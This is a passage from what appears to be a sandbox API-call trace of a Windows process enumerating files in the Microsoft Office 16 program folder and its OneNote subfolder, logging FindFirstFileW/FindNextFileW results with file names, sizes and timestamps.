nFileSizeLow=0x1536, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MYSL.ICO", cAlternateFileName="")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ae48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf035e09d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5868, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2366bd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2366bd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2471bd1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1f268, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NAMECONTROLSERVER.EXE", cAlternateFileName="NAMECO~1.EXE")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b7e331c, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b7e331c, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x4c0c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c6e13e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4630f, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NativeHostAnnotationApp.xap", cAlternateFileName="NATIVE~1.XAP")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c648aa6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a6a9, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NativeHostPollApp.xap", cAlternateFileName="NATIVE~2.XAP")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c98fe3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x794a98, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NL7Data0011.DLL", cAlternateFileName="NL7DAT~1.DLL")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c72d887, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2602f8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NL7Lexicons0011.DLL", cAlternateFileName="NL7LEX~1.DLL")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5196662, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc5196662, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8c7380a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x55bef8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NL7MODELS0009.dll", cAlternateFileName="NL7MOD~1.DLL")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5208c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc5208c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd97ecd84, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5dd8f8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NL7MODELS000A.dll", cAlternateFileName="NL7MOD~2.DLL")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc527b37f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc527b37f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd928f97c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x546ef8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NL7MODELS000C.dll", cAlternateFileName="NL7MOD~3.DLL")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c779d41, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ad698, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NL7Models0011.DLL", cAlternateFileName="NL7MOD~4.DLL")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2a40778, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2a40778, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2c7cb2a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa320, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NPSPWRAP.DLL", cAlternateFileName="")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc34153d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd50d8964, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd52c882e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1165048, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OART.DLL", cAlternateFileName="")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c79ffa0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3262b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OARTODF.DLL", cAlternateFileName="")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OCHelper.dll", cAlternateFileName="")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd41f54a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdecb6a42, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x103668, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ocimport.dll", cAlternateFileName="")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OCIntlDate.dll", cAlternateFileName="OCINTL~1.DLL")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c7ec45a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c6b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ocmsptls.dll", cAlternateFileName="")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c7c61f2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c848, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OcOffice.dll", cAlternateFileName="")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8126b0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f74a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ocogl.dll", cAlternateFileName="")) returned 1 [0230.422] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8126b0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15956, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Ocomprivate.zip", cAlternateFileName="OCOMPR~1.ZIP")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8126b0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x247ab8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ocpptview.dll", cAlternateFileName="OCPPTV~1.DLL")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c838905, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x55cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ocppvwintl.dll", cAlternateFileName="OCPPVW~1.DLL")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed3aee76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3aee76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda6387a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e06d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OcPubMgr.exe", cAlternateFileName="")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd41f54a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdecb6a42, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaaa8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ocrec.dll", cAlternateFileName="")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c838905, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a6b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OCSAEXT.dll", cAlternateFileName="")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb9038f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OFFRHD.DLL", cAlternateFileName="")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x607cb8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OIMG.DLL", cAlternateFileName="")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40c60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca4703d4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca829e1e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb11bbad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63d2c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OLMAPI32.DLL", cAlternateFileName="")) returned 1 [0230.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x172bc, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OMML2MML.XSL", cAlternateFileName="")) returned 1 [0230.425] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2ec8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OMSMAIN.DLL", cAlternateFileName="")) returned 1 [0230.425] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53ad8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OMSXP32.DLL", cAlternateFileName="")) returned 1 [0230.425] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39078, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0230.425] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x316d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0230.425] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca57b43c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca57b43c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb0cf768, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9de60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONBttnOL.dll", cAlternateFileName="")) returned 1 [0230.425] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6164f96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x376c8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONBttnPPT.dll", cAlternateFileName="ONBTTN~2.DLL")) returned 1 [0230.425] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37c58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONBttnWD.dll", cAlternateFileName="")) returned 1 [0230.426] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1c8ab024, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OneNote", cAlternateFileName="")) returned 1 [0230.426] GetProcessHeap () returned 0xc10000 [0230.426] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.426] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1c8ab024, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0230.429] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1c8ab024, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.429] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c884dc0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c884dc0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnms006.inf", cAlternateFileName="")) returned 1 [0230.429] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c884dc0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c884dc0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnSendToOneNote.cat", cAlternateFileName="PRNSEN~2.CAT")) returned 1 [0230.429] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c884dc0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1c884dc0, 